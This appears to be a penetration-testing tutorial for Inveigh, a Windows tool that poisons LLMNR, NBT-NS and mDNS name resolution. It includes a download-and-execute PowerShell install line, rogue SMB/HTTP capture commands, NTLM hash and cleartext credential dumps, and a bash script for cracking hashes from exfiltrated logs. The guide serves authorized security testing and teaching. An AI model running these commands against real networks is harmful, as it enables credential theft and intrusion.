Inveigh: Complete Guide to LLMNR, NBNS, and mDNS Spoofing Using Kali Linux

Abdul Wahab Junaid

4 weeks ago

Inveigh: Complete Guide to LLMNR, NBNS, and mDNS Spoofing Using Kali Linux

Inveigh is the Windows/.NET/PowerShell counterpart to Responder — a spoofer and man-in-the-middle tool for LLMNR, NBT-NS, mDNS, and DNS on Windows networks. Where Responder is typically run from a Linux attack box (Kali) sitting on the network, Inveigh is designed to run from a compromised or authorized Windows host already inside the target network — making it especially useful during Active Directory engagements where you have a foothold (e.g., via C2 implant, RDP session, or an authorized internal test workstation) but no Linux box on that particular VLAN.

Inveigh ships in two actively maintained implementations:

Inveigh (PowerShell) — the original, Invoke-Inveigh, loaded as a PowerShell module/script
InveighZero (C#/.NET) — a full rewrite, compiled Inveigh.exe, generally faster and more feature-complete, actively maintained on GitHub

Both perform the same core attacks: LLMNR/NBT-NS/mDNS poisoning, NTLMv1/v2 challenge-response capture, HTTP/HTTPS/SMB/LDAP rogue servers, and relay-friendly hash output, all without needing a separate Linux attack box on-segment.

Installation

Inveigh is not preinstalled on Kali (it’s a Windows-side tool) but Kali ships the source for reference and cross-compilation, and it’s commonly staged onto a Windows target during an engagement.

Option A — PowerShell version (no compilation needed):

# On the Windows host (with appropriate authorization):
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/master/Inveigh.ps1')

Or, if transferring the file directly:

Import-Module .\Inveigh.ps1

Option B — InveighZero (.NET, compiled binary):

# From Kali, clone and build with .NET SDK, or download prebuilt release:
git clone https://github.com/Kevin-Robertson/Inveigh.git
cd Inveigh/Inveigh
dotnet build -c Release

Copy the resulting Inveigh.exe to the Windows host.

Verify (PowerShell version):

Get-Command Invoke-Inveigh

Verify (.NET version):

Inveigh.exe --version

Syntax

PowerShell:

Invoke-Inveigh [-PARAMETER <VALUE>] ...

InveighZero (.NET):

Inveigh.exe [OPTIONS]

Command-Line / Parameter Reference

PowerShell Invoke-Inveigh key parameters:

Parameter	Description
`-LLMNR Y/N`	Enable/disable LLMNR spoofing (default Y)
`-NBNS Y/N`	Enable/disable NBT-NS spoofing (default Y)
`-mDNS Y/N`	Enable/disable mDNS spoofing
`-HTTP Y/N`	Enable/disable rogue HTTP server
`-HTTPS Y/N`	Enable/disable rogue HTTPS server
`-SMB Y/N`	Enable/disable rogue SMB server
`-Proxy Y/N`	Enable WPAD proxy server
`-ConsoleOutput Y/N`	Print captured events to console live
`-FileOutput Y/N`	Write captured hashes/log to disk
`-OutputDir <PATH>`	Directory for output files
`-NBNSTTL <SECONDS>`	TTL for spoofed NBT-NS responses
`-SpooferIP <IP>`	IP address to spoof responses with
`-SpooferHostsReply <NAMES>`	Only respond to specific hostnames
`-SpooferHostsIgnore <NAMES>`	Ignore specific hostnames
`-RunTime <MINUTES>`	Auto-stop after N minutes
`-ShowHelp Y/N`	Display help/usage

InveighZero (Inveigh.exe) key options:

Option	Description
`-LLMNR Y/N`	Enable/disable LLMNR spoofing
`-NBNS Y/N`	Enable/disable NBT-NS spoofing
`-MDNS Y/N`	Enable/disable mDNS spoofing
`-DNS Y/N`	Enable/disable DNS spoofing
`-HTTP Y/N`	Enable/disable HTTP capture server
`-HTTPS Y/N`	Enable/disable HTTPS capture server
`-SMB Y/N`	Enable/disable SMB capture server
`-ProxyIgnore Y/N`	Control WPAD/proxy behavior
`-Elevated Y/N`	Run privileged-only listeners (SMB 445, etc.)
`-ConsoleOutput Y/N`	Live console output
`-FileOutput Y/N`	Write to log file
`-Cleartext Y/N`	Attempt to force cleartext/basic auth downgrade
`-MachineAccounts Y/N`	Include/exclude machine account ($) captures
`-RunTime <MIN>`	Auto-stop timer
`-IP <ADDR>`	Bind/spoof IP address

Interactive console commands once running (both versions expose a live command console via HELP, GET NTLMV2UNIQUE, STOP, etc.):

Console Command	Description
`HELP`	List live console commands
`GET NTLMV1` / `GET NTLMV2`	Dump captured NTLM hashes
`GET NTLMV2UNIQUE`	Dump only unique captured hashes
`GET CLEARTEXT`	Dump any cleartext credentials captured
`STOP`	Stop the running Inveigh instance
`EXIT`	Exit console (Inveigh keeps running in background)

Basic Usage

PowerShell:

Invoke-Inveigh -ConsoleOutput Y -FileOutput Y

Expected console output:

Inveigh 1.506 started at 2026-07-19T10:15:22
Elevated Privilege Mode = Enabled
Spoofer IP Address      = 192.168.1.50
Primary IP Address      = 192.168.1.50
LLMNR Spoofer           = Enabled
NBNS Spoofer            = Enabled
HTTP Capture            = Enabled
HTTPS Capture           = Disabled
SMB Capture             = Enabled

InveighZero:

Inveigh.exe -ConsoleOutput Y -FileOutput Y -Elevated Y

Expected output:

[*] Inveigh 3.0.0 started
[+] LLMNR spoofer: [ON]
[+] NBNS spoofer: [ON]
[+] SMB capture: [ON] (elevated)
[+] Console output: [ON]

Practical Examples with Output

Example 1 — Basic capture session (PowerShell)

Invoke-Inveigh -ConsoleOutput Y

Output on captured hash:

[+] [2026-07-19T10:16:04] NTLMv2 challenge/response captured from 192.168.1.22(WORKSTATION2)
CONTOSO\bjones::WORKSTATION2:1122334455667788:AABBCCDDEE...:0101...

Example 2 — Disable NBT-NS, keep only LLMNR (quieter fingerprint)

Invoke-Inveigh -LLMNR Y -NBNS N -ConsoleOutput Y

Example 3 — Timed run that auto-stops after 20 minutes

Invoke-Inveigh -RunTime 20 -FileOutput Y -OutputDir "C:\Temp\Inveigh"

Output:

[+] Inveigh will automatically stop after 20 minutes.
[+] Output directory set to C:\Temp\Inveigh

Example 4 — Dumping captured unique NTLMv2 hashes from the live console

> GET NTLMV2UNIQUE

Output:

jsmith::CONTOSO:1122334455667788:AABBCCDD...:0101000000000000...
bjones::CONTOSO:8877665544332211:FFEEDDCC...:0101000000000000...

Example 5 — InveighZero with HTTPS capture and elevated SMB server

Inveigh.exe -HTTPS Y -SMB Y -Elevated Y -ConsoleOutput Y

Output:

[+] HTTPS capture: [ON] (self-signed cert generated)
[+] SMB capture: [ON] (elevated, listening on 445)

Example 6 — Restricting spoofed responses to specific hostnames only

Invoke-Inveigh -SpooferHostsReply "FILESERVER","PRINTSERVER" -ConsoleOutput Y

Output:

[+] Spoofer will only respond to: FILESERVER, PRINTSERVER

Example 7 — Stopping the running instance cleanly

> STOP

Output:

[+] Inveigh exited cleanly at 2026-07-19T10:41:12
[+] Log file saved to C:\Temp\Inveigh\Inveigh-Log.txt

Example 8 — Exporting captured cleartext credentials (e.g., from HTTP Basic downgrade)

> GET CLEARTEXT

Output:

[+] Cleartext credentials captured:
CONTOSO\svc_backup:BackupP@ss2024

Common Use Cases

Capturing NTLM challenge-response hashes from a foothold already inside a segmented AD network where a Linux attack box can’t reach (e.g., isolated VLAN)
Living-off-the-land style engagements where dropping a PowerShell script is lower-friction than staging a full Linux toolset
Chaining captured hashes into relay attacks against SMB/LDAP targets reachable from the compromised host
Validating whether endpoint detection (EDR) flags LLMNR/NBT-NS spoofing behavior originating from a workstation rather than “unusual” attacker infrastructure
Demonstrating internal segmentation weaknesses during red-team engagements

Automation with Bash

Since Inveigh itself runs on Windows, Bash is typically used on the Kali/Linux side to process exfiltrated log files after the engagement:

#!/bin/bash
# inveigh_postprocess.sh - Parse an exfiltrated Inveigh log for crackable hashes
LOGFILE="$1"
OUT="/tmp/inveigh_hashes_$(date +%Y%m%d_%H%M%S).txt"

if [[ -z "$LOGFILE" || ! -f "$LOGFILE" ]]; then
    echo "Usage: $0 <path-to-Inveigh-Log.txt>"
    exit 1
fi

grep -Eo '[A-Za-z0-9_\.]+::[A-Za-z0-9_\.]+:[0-9a-fA-F]+:[0-9a-fA-F]+:[0-9a-fA-F]+' "$LOGFILE" | sort -u > "$OUT"
echo "[*] Extracted $(wc -l < "$OUT") unique NetNTLMv2 hashes to $OUT"
echo "[*] Crack with: hashcat -m 5600 $OUT rockyou.txt"

Tips and Best Practices

Prefer InveighZero over the PowerShell version on modern hosts — it’s more actively maintained and better handles AMSI/EDR friction points.
Use -RunTime to guarantee the tool stops automatically even if your session is interrupted, avoiding an orphaned spoofer running indefinitely on a client host.
Restrict scope with -SpooferHostsReply/-SpooferHostsIgnore when you only need to target specific systems, reducing collateral disruption on the client network.
Always retrieve and securely delete the log/output directory from the host at the end of the engagement — credential material should never be left behind.
-Elevated Y requires admin rights on the host for privileged listeners (SMB 445, HTTPS 443) — plan privilege level accordingly.

Troubleshooting

Problem	Cause / Fix
PowerShell script blocked from loading	AMSI/Execution Policy — engagement rules of engagement must authorize appropriate bypass techniques; do not attempt on unauthorized systems
No hashes captured	LLMNR/NBT-NS disabled via GPO, or Inveigh not elevated for SMB capture
`Access is Denied` binding to port 445	Requires elevated/admin privileges — rerun with `-Elevated Y` from an admin context
InveighZero build fails	Missing .NET SDK — install matching SDK version from Microsoft
Console commands not responding	Console thread may be blocked — check `-ConsoleOutput Y` was set at launch

References

Official GitHub repository (PowerShell + InveighZero): https://github.com/Kevin-Robertson/Inveigh
Wiki/usage documentation: https://github.com/Kevin-Robertson/Inveigh/wiki
Related Impacket relay tooling: https://github.com/fortra/impacket